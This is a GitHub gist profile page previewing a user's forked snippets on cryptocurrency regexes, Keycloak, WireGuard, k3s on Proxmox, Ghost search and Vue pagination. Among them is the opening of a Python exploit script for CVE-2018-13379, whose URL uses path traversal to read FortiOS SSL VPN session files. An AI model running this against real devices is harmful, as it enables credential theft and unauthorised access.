Skip to content

Instantly share code, notes, and snippets.

View jbelke's full-sized avatar

Joshua Belke jbelke

  • Magnetism Labs
  • NY
View GitHub Profile
[
{
"coin": "BTC",
"name": "Bitcoin",
"regex": "^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}$",
"type": "coin",
"algorithm": "SHA-256",
"reward_unit": "BTC",
"reward_block": 6.25,
"updated": 1689609263
package org.keycloak.authentication.authenticators.browser;
import org.keycloak.authentication.AuthenticationFlowContext;
import org.keycloak.models.RoleModel;
import org.keycloak.models.UserModel;
import javax.ws.rs.core.MultivaluedMap;
import java.util.List;
import java.util.Map;
import java.util.regex.Pattern;
@jbelke
jbelke / CVE-2018-13379.py
Created July 20, 2022 14:37 — forked from code-machina/CVE-2018-13379.py
CVE-2018-13379 : A path traversal vulnerability in the FortiOS SSL VPN web portal
import requests, binascii, optparse
from urlparse import urlparse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
requests.packages.urllib3.disable_warnings()
import multiprocessing
def checkIP(ip):
try:
url = "https://"+ip+"/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"
@jbelke
jbelke / discord-stock-ticker-howto.md
Created April 18, 2022 12:45 — forked from rssnyder/discord-stock-ticker-howto.md
How to run your down ticker bots!

Step 1: Download the ticker binary

Go to the github release page and find the latest release. For this example I will be using the v3.0.1 release.

Since we are targeting linux on an Intel CPU for this guide, copy the link for linux-amd64: discord-stock-ticker-v3.0.1-linux-amd64.tar.gz

Open a new terminal, and we will use wget to download the tar file: wget https://github.com/rssnyder/discord-stock-ticker/releases/download/v3.0.1/discord-stock-ticker-v3.0.1-linux-amd64.tar.gz

Now extract the binary using tar: tar zxf discord-stock-ticker-v3.0.1-linux-amd64.tar.gz

@jbelke
jbelke / WireGuard_Setup.txt
Created December 15, 2021 15:43 — forked from chrisswanda/WireGuard_Setup.txt
Stupid simple setting up WireGuard - Server and multiple peers
Install WireGuard via whatever package manager you use. For me, I use apt.
$ sudo add-apt-repository ppa:wireguard/wireguard
$ sudo apt-get update
$ sudo apt-get install wireguard
MacOS
$ brew install wireguard-tools
Generate key your key pairs. The key pairs are just that, key pairs. They can be
@jbelke
jbelke / README.md
Created October 16, 2021 17:47 — forked from triangletodd/README.md
k3s in LXC on Proxmox

On the host

Ensure these modules are loaded

cat /proc/sys/net/bridge/bridge-nf-call-iptables

Disable swap

sysctl vm.swappiness=0
swapoff -a
@jbelke
jbelke / !proxmox_k3s_cluster.sh
Created October 14, 2021 21:43 — forked from shawnhank/!proxmox_k3s_cluster.sh
Proxmox k3s cluster creation scripts
#!/bin/bash
# curl -s https://gist.githubusercontent.com/ilude/457f2ef2e59d2bff8bb88b976464bb91/raw/cluster_create_setup.sh?$(date +%s) > ~/bin/setup_cluster.sh; chmod +x ~/bin/setup_cluster.sh; setup_cluster.sh
echo "begin cluster_create_setup.sh"
export CREATE_TEMPLATE=1 #false
while test $# -gt 0; do
case "$1" in
--template)
export CREATE_TEMPLATE=0 #true
@jbelke
jbelke / GhostSearch.js
Created August 30, 2021 13:53 — forked from r3wt/GhostSearch.js
Search + Archive Implementation for a Ghost Blog
// begin config
const ghost_host = '<your host here>';//your blogs domain -- see documentation of tryghost/content-api
const ghost_key = '<your key here>';//key to your integration -- see documentation of tryghost/content-api
const updateInterval = 60000;//how often the index should update given in milliseconds
const requestTimeout = 5000;// maximum time for a search request before it times out given in milliseconds (note this isn't exact, it depends on the load of the event loop)
const resultsPerPage = [8];// allowed values for limit. in my case we only allow 8, but made this configurable so users of ghost can benefit
// end config
const elasticlunr = require('elasticlunr');
version: "3.9"
services:
db:
image: mysql:5.7
volumes:
- db_data:/var/lib/mysql
restart: always
environment:
MYSQL_ROOT_PASSWORD: somewordpress
@jbelke
jbelke / vuejs-paginated-data.md
Created August 2, 2021 16:38 — forked from ErwanTouba/vuejs-paginated-data.md
How to display paginated non-tabulated data with vue.js (NUXT) and Buefy

how to make a pagination system for non tabulated data with nuxt (or Vue.js) and buefy

Here we gonna see how to make a basic pagination for data that we dont want to display in a table i decided to go for the computed property way and since i'm a lazy ass i dediced to pick up Buefy, a nice css component library that i already used before to handle the pagination logic for me.

Download & install buefy for nuxt

npm install nuxt-buefy --save